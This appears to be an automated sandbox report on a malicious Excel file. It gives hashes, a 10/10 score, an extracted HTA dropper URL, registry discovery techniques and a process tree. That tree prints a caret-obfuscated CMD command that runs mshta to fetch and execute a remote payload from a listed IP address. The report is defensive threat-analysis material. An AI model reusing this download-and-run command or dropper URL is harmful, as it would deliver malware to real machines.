607cb926b681584c8b88929b0ddb9f5a2815ddb53ec7443d7f12556fa8096a4a

General

Target

607cb926b681584c8b88929b0ddb9f5a2815ddb53ec7443d7f12556fa8096a4a.xls
Size

35KB
MD5

036db005874ec0c80a94d1b943c4c0a6
SHA1

0f9bb489b736ba517bd6369ed33da4c1797c30be
SHA256

607cb926b681584c8b88929b0ddb9f5a2815ddb53ec7443d7f12556fa8096a4a
SHA512

5a033383cbab7ec056cd9ed904523d69d25b5a0f8415ba523db206afcb0e53eddae0ef0364bed8688e4f44a283b787ca497e1d8caa792c89521ef9b41b8b0475
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2128	4256	CMD.EXE	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	4544	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4256	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE
4256	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 2128	4256	EXCEL.EXE	88
PID 4256 wrote to memory of 2128	4256	EXCEL.EXE	88
PID 2128 wrote to memory of 4544	2128	CMD.EXE	90
PID 2128 wrote to memory of 4544	2128	CMD.EXE	90

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\607cb926b681584c8b88929b0ddb9f5a2815ddb53ec7443d7f12556fa8096a4a.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
2KB

MD5
b07b1b9485639f8cae98e92dab2e1a93

SHA1
81ce30f72b16b65a31b337fd85215731e5a19ea4

SHA256
9e7f9f3669d3ba13cf3d8484a79cd365cf20739853aacdd6dcb23bb492c3d8f4

SHA512
bab36bb980e978bcfc50a9df7a8a0a38413b7dca7ec576d2f9c1bdbfba35c6d32059217ed05f228d544000a25887d042106ed537e1ab0b166abe4a87241295b0

Download Submit
memory/4256-12-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-10-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-4-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/4256-1-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/4256-8-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-7-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-6-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-5-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/4256-9-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-0-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/4256-2-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/4256-13-0x00007FF7D7BF0000-0x00007FF7D7C00000-memory.dmp

Filesize
64KB

Download
memory/4256-11-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-14-0x00007FF7D7BF0000-0x00007FF7D7C00000-memory.dmp

Filesize
64KB

Download
memory/4256-15-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-16-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-17-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-19-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-18-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-30-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4256-3-0x00007FF819E6D000-0x00007FF819E6E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads